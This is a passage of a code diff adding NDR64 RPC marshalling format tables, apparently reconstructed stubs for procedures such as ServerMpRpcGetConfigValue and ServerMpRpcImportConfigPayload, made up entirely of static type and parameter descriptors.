/* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2227_t __midl_frag2227 = +{ +/* *Struct_4704_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2228 +}; + +static const __midl_frag2226_t __midl_frag2226 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag2225_t __midl_frag2225 = +{ +/* union_4688 */ + { + /* union_4688 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2226, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2227, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2224_t __midl_frag2224 = +{ +/* Struct_4734_t */ + { + /* Struct_4734_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4734_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2225 + }, + { + /* Struct_4734_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2223_t __midl_frag2223 = +{ +/* *Struct_4734_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2224 +}; + +static const __midl_frag2222_t __midl_frag2222 = +{ +/* **Struct_4734_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2223 +}; + +static const __midl_frag2219_t __midl_frag2219 = +0x11 /* FC64_WCHAR */; + +static const __midl_frag2218_t __midl_frag2218 = +{ +/* *wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2219 +}; + +static const __midl_frag2217_t __midl_frag2217 = +{ +/* Proc222_ServerMpRpcGetConfigValue */ + { + /* Proc222_ServerMpRpcGetConfigValue */ /* procedure Proc222_ServerMpRpcGetConfigValue */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 46 /* 0x2e */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2219, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2222, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag2213_t __midl_frag2213 = +{ +/* *Struct_4650_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2194 +}; + +static const __midl_frag2212_t __midl_frag2212 = +{ +/* **Struct_4650_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2213 +}; + +static const __midl_frag2209_t __midl_frag2209 = +{ +/* Proc221_ServerMpRpcGetConfigPayloadStatus */ + { + /* Proc221_ServerMpRpcGetConfigPayloadStatus */ /* procedure Proc221_ServerMpRpcGetConfigPayloadStatus */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2212, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2205_t __midl_frag2205 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2199 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2202 + } +}; + +static const __midl_frag2203_t __midl_frag2203 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag2202_t __midl_frag2202 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2203 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2200_t __midl_frag2200 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag2199_t __midl_frag2199 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2200 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2198_t __midl_frag2198 = +{ +/* Struct_4620_t */ + { + /* Struct_4620_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4620_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */, + 0, + 0, + &__midl_frag2205, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_4620_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2197_t __midl_frag2197 = +{ +/* *Struct_4620_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2198 +}; + +static const __midl_frag2196_t __midl_frag2196 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag2195_t __midl_frag2195 = +{ +/* union_4580 */ + { + /* union_4580 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2196, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2197, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2194_t __midl_frag2194 = +{ +/* Struct_4650_t */ + { + /* Struct_4650_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4650_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2195 + }, + { + /* Struct_4650_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2188_t __midl_frag2188 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag2187_t __midl_frag2187 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2188 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2186_t __midl_frag2186 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2187 +}; + +static const __midl_frag2185_t __midl_frag2185 = +{ +/* Proc220_ServerMpRpcImportConfigPayload */ + { + /* Proc220_ServerMpRpcImportConfigPayload */ /* procedure Proc220_ServerMpRpcImportConfigPayload */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2187, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2212, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag2181_t __midl_frag2181 = +{ +/* Proc219_ServerMpRpcSCCReset */ + { + /* Proc219_ServerMpRpcSCCReset */ /* procedure Proc219_ServerMpRpcSCCReset */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag2176_t __midl_frag2176 = +{ +/* Struct_4510_t */ + { + /* Struct_4510_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4510_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2219 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2175_t __midl_frag2175 = +{ +/* *Struct_4510_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2176 +}; + +static const __midl_frag2173_t __midl_frag2173 = +{ +/* union_4494 */ + { + /* union_4494 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2226, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2175, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2172_t __midl_frag2172 = +{ +/* Struct_4530_t */ + { + /* Struct_4530_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* 